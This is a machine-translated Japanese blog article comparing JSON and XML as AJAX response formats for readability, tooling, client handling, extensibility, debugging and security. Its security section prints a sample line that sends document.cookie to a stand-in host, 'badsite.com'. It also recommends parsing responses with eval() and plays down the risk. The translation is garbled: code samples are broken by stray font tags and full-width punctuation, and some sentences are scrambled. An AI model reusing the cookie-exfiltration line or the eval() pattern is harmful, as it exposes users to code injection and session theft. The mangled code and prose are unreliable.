Clever Geek Handbook

JSONとXML。 どちらが良いですか？

注：以下は、 JSONに関するJSONとXMLのレビュー記事の翻訳と、いくつかの基準についてのXMLとの比較です。 Habrahabrの読者の間でJSONを普及させるために公開されています。



JSON（英語のJavaScript Object Notation）は、人が読みやすく、プログラムで簡単に処理および生成できるデータ交換形式です。



JavaScript言語のサブセット、 Standard ECMA-262 3rd Edition-December 1999に基づいています 。


JSON-ウィキペディア



AJAXアプリケーションのXMLHttpRequest



正しい応答形式は何ですか？ ほとんどのマークアップベースのアプリケーションの場合、答えは簡単です-（X）HTML。 情報指向アプリケーションの場合、選択はXMLとJSONのどちらかになります。 最近まで、XMLとJSONのどちらを使用するのが良いのか、本当に気になりませんでした。 いずれの場合も、最適なフォーマットを選択する価値があると思いました。それだけです。 しかし、最近、たまたまこのアプローチを実際にテストしました。 このメモでは、XMLとJSONを比較するための基準と、独自の結論について説明します。



したがって、基準は次のとおりです。









コードの読みやすさ





QuirksMode.orgの Peter-Paul Kochは、コードの可読性を分析の主な基準と考えています。 私の意見では、これは二次的な目標にすぎませんが、JSONがXMLよりもはるかに簡単に認識されることに簡単に同意できます。次の例を見てください。



XML 

    <font color = "＃069"> <person> </ font>
       <font color = "＃069"> <firstname> </ font> Subbu <font color = "＃069"> </ firstname> </ font>
       <font color = "＃069"> <lastname> </ font> Allamaraju <font color = "＃069"> </ lastname> </ font>
    <font color = "＃069"> </ person> </ font>




ジョンソン 

    （{   
      <font color = "＃069"> "firstName" </ font>：<font color = "＃069"> "Subbu" </ font>、
      <font color = "＃069"> "lastName" </ font>：<font color = "＃069"> "Allamaraju" </ font>
    }）;




しかし、デバッグとバグ修正は読みやすさよりもはるかに重要だと思います。



作成のしやすさ





XML形式は長年にわたって知られています（ 注：最初の作業バージョンは1996年に発表され 、 仕様はすでに2000年にありました ）。そのため、いくつかのプログラミング言語でXMLにデータをバインドするためのプログラミングインターフェイス（ API ）の特定のセットがあります。 たとえば、Javaでは、 JAXBおよびXmlBeanを使用してXML応答を作成できます。 以下は、JAXBを使用した例です。 



    Person person = <font color = "＃069"> new </ font> Person（）;
    person.setFirstName（<font color = "＃069"> "Subbu" </ font>）;
    person.setLastName（<font color = "＃069"> "Allamaraju" </ font>）;
    Marshaller marshaller = ... <font color = "＃008200"> //マーシャラーオブジェクトを作成</ font>
    marshaller.marshal（person、outputStream）;




一方、JSON応答を作成するためのすべてのインターフェイスは比較的最近登場しました。 ただし、さまざまな言語での印象的なリストがJSON.orgで公開されています。 以下は、 Json-libを使用して応答を作成する例です。 



    Person person = <font color = "＃069"> new </ font> Person（）;
    person.setFirstName（<font color = "＃069"> "Subbu" </ font>）;
    person.setLastName（<font color = "＃069"> "Allamaraju" </ font>）;
    writer.write（JSONObject.fromObject（person）.toString（））;




このようなプログラムインターフェイスの機能を考慮する場合、JSONの作成は、Java Beanをオブジェクトにシリアル化することと大差ありません。 ただし、JSONよりもXMLを生成する方法が多くなっていることに注意してください。 XMLのこれらのプログラミングインターフェイスの一部は長年使用されており、このため、複雑なアプリケーションに使用するとより安定します。



考慮する価値のあるもう1つの側面は、応答の生成に使用されるリソースの量です。 データを受信するときに「重い」操作がすでに実行されている場合、サーバーパーツがそれらを応答用にXMLにさらに変換することは難しくありません。 XMLの作成が最もリソースを消費する操作である場合、JSONを使用することをお勧めします。



使いやすさ





クライアント側では、 XMLHttpRequest



への応答としてJSONデータを処理するのXMLHttpRequest



非常に簡単です。 



    var person = eval（xhr.responseText）;  
   アラート（person.firstName）;




通常のeval()



を使用して、応答をJavaScriptオブジェクトに変換できます。 この操作が完了すると、変換されたオブジェクトのプロパティを使用してデータにアクセスできます。 これは、すべてのJSONの中で最もエレガントな部分です。



次に、XMLについて検討します。 以下のコードスニペットをより透明にするために、すべてのエラーチェックを削除しました。 



    var xml = xhr.responseXML;
    var elements = xml.getElementsByTagName（<font color = "＃069"> "firstName" </ font>）;
    alert（elements [<font color = "＃c00000"> 0 </ font>] .firstChild.textContent）;




明らかに、サーバーから受信したデータを処理するときは、DOMツリー全体を表示する必要があります。 これは非常に時間のかかる操作であり、エラーが発生しやすくなります。 残念ながら、ブラウザではDOMを特に処理する必要があります。 ブラウザは、XMLドキュメントのツリーノードを取得するためのXPathなどのクエリ言語をサポートしていません。 これらの機能のサポートはすでにXSLTを参照していますが、XMLからマークアップへの変換（HTMLなど）に関しては非常に制限されています（ ブラウザーで ）。 W3C Web APIワーキンググループは 、 Document



オブジェクトからノードを選択するときにCSSセレクターを適用するために使用できるセレクターAPIに取り組んでいます。 このインターフェイスを使用すると、上記のコード例をxml.match("person.firstName")



に変換して、 firstName



要素を取得できます。 これは、この例のXML文書にとって素晴らしい成果であるとは言えませんが、高度に分岐した文書を扱う場合に役立ちます。 このインターフェースはまだ完成しておらず、ブラウザーがサポートするまであと1年かかります。



一般に、XMLとJSONのどちらかを選択する場合、クライアント側の処理が容易であるため、JSONを好みます。



拡張性





拡張性は、プロバイダーとデータの受信者の間の関係の数を減らすのに役立ちます。 AJAXアプリケーションのコンテキストでは、クライアント側のスクリプトは、互換性のあるデータの変更に関してかなり不変である必要があります。



すべてのアカウントで 、XMLは文字「X」の存在だけで自動的に拡張可能です。 ただし、これは無条件のルールではありません（つまり、デフォルト）。 XMLの拡張性は、XMLに追加のノードを定義し、「不要なスキップ」ルールを適用できるという原則に基づいています（つまり、XMLの処理中に見慣れない要素や属性が見つかった場合はスキップします）。



拡張性を最大限に活用するには、この同じ拡張性を期待して、クライアント側でコードを作成する必要があります。 たとえば、 middleName



要素などを挿入する場合、次の例はバラバラになります。 



   var xml = xhr.responseXML; 
   var elements = xml.getElementsByTagName（<font color = "＃069"> "firstName" </ font>）;
   var firstNameEl = elements [<font color = "＃c00000"> 0 </ font>];
   var lastNameEl = firstNameEl.nextSibling;




<firstName>



<middleName>



要素の直後に<middleName>



要素を挿入すると、この例ではミドルネームを姓と誤解します。 この変更に関して不変であるためには、コードを書き直して<lastName>



要素を明示的に受け取るか、目的のtagName



持つ子孫tagName



た場合にのみnextSibling



にnextSibling



する必要tagName



ます。 したがって、XMLは、コードを記述している限り拡張可能であり、将来の拡張性を期待しています。 すべてが非常に簡単です。



JSONに戻ります。 JSONデータの拡張はXMLより簡単だと私は主張します。 これは間違いなく少ない労力で済みます。 JSONレスポンスにmiddleName



プロパティを追加することを検討してください。 アクセスするには、呼び出す必要があります。 



   アラート（person.middleName）;




回答にミドルネームを追加しても、このコードは変わりません 。 しかし、人がミドルネームの有無にかかわらず扱われる場合はどうすればよいでしょうか？ JSONを使用すると、簡単です。 



   <font color = "＃069"> if </ font>（person.middleName）{
     <font color = "＃008200"> //処理中</ font>
   }




私の立場は、将来の拡張性とXMLを考えれば、JSONデータを拡張できるということです。 ただし、JSONを使用すると、XMLを使用するよりもデータを簡単に拡張できます。 必要なプロパティがオブジェクトに存在することを確認し、チェックの結果に従って行動するだけです。



JSONデータを拡張する別の可能性があります。それは、応答で直接データ宣言とともに関数呼び出しを使用することにあります。 



   alert（<font color = "＃069"> "こんにちは-私は人です" </ font>）;
   （{<font color = "＃069"> "firstName" </ font>：<font color = "＃069"> "Subbu" </ font>、
     <font color = "＃069"> "lastName" </ font>：<font color = "＃069"> "Allamaraju" </ font>}）;




eval()



を介してデータが宣言されると、ブラウザーはalert()



式も呼び出します。 この場合、データをロードして機能を実行できます。 このアプローチは、関数呼び出しで応答を詰まらせ、呼び出しとデータ間の接続を作成するため、十分に注意して使用する必要があります。 一部のソースでは、このアプローチの潜在的なセキュリティ脆弱性についても説明しています。これについては、以下で詳しく説明します。



デバッグとバグ修正





この側面は、アプリケーションのサーバー側とクライアント側の両方に適用されます。 サーバーでは、データが正しく形成され、正しいことを確認する必要があります。 クライアント側では、応答のエラーを簡単にデバッグできるはずです。



XMLの場合、クライアントに送信されたデータが正しい形式で正しいことを確認するのは比較的簡単です。 データにschema



を使用し、それを使用してデータを検証できます。 JSONでは、このタスクは手動になり、オブジェクトは応答の結果として正しい属性を持っている必要があります。



クライアント側では、両方のケースでエラーを検出することは困難です。 XMLの場合、ブラウザは単純にresponseXMLに変換できません。 少量のJSONデータでは、 FireBug拡張機能を使用してエラーをデバッグおよび修正できます。 しかし、大量のデータを使用すると、エラーメッセージをコード内の特定の場所に関連付けることが多少難しくなります。



安全性





Dave Johnsonは、 JSONとThe Golden Fleeceの記事で、JSONがセキュリティ問題を引き起こす可能性があると主張しています。 注の本質は、JSON応答のデータとともに関数呼び出しの挿入を許可し、 eval()



を使用して応答を処理する場合、実際には既にセキュリティリスクが含まれている可能性のある任意のコードを実行することです。 



   window.location = <font color = "＃069"> "http://badsite.com？" </ font> + document.cookie;
  人：{ 
     <font color = "＃069"> "firstName" </ font>：<font color = "＃069"> "Subbu" </ font>、
     <font color = "＃069"> "lastName" </ font>：<font color = "＃069"> "Allamaraju" </ font>
   }




上記の例の答えが満たされると、ブラウザはユーザーCookieをサードパーティのサイトに送信します。 ただし、この場合、セキュリティの脅威を判断する際に誤解が生じます。 未検証のソースから取得したデータまたはコードを信頼しないでください。 次に、 XMLHttpRequest



を使用して、スクリプトのソースドメイン以外のドメインと通信することはできません。 そのため、アプリケーションの作成時に開発者自身がサードパーティサイトへのCookieの送信を開始できます。 サーバーから送信されたデータ応答以外のドキュメントの任意の場所にこの悪意のあるコードを配置できるため、これはかなり疑わしいものです。 たぶん何かを見逃したかもしれませんが、JSONをXMLと比較して安全でないと考える理由は見当たりません。



私の選択





情報指向のアプリケーションの場合、その単純さとクライアント側でのデータ処理の容易さから、XMLよりもJSONを使用することを好みます。 XMLはサーバー上で不可欠な場合がありますが、JSONを使用すると、クライアントでの作業が間違いなく簡単になります。



関連リンク









この翻訳を読んでくれたみんなに感謝します。 私はあなたの意見やコメントに感謝し、尊重します。 私はすべての願いを考慮に入れて、借金に留まらないようにします。 将来の翻訳のテーマについて何か提案があれば、遠慮なく書いてください。これらのトピックに関する資料の選択または詳細なレビューを試みます。 ご清聴ありがとうございました。



Web Optimizator：サイトの読み込み速度の確認



More articles:


All Articles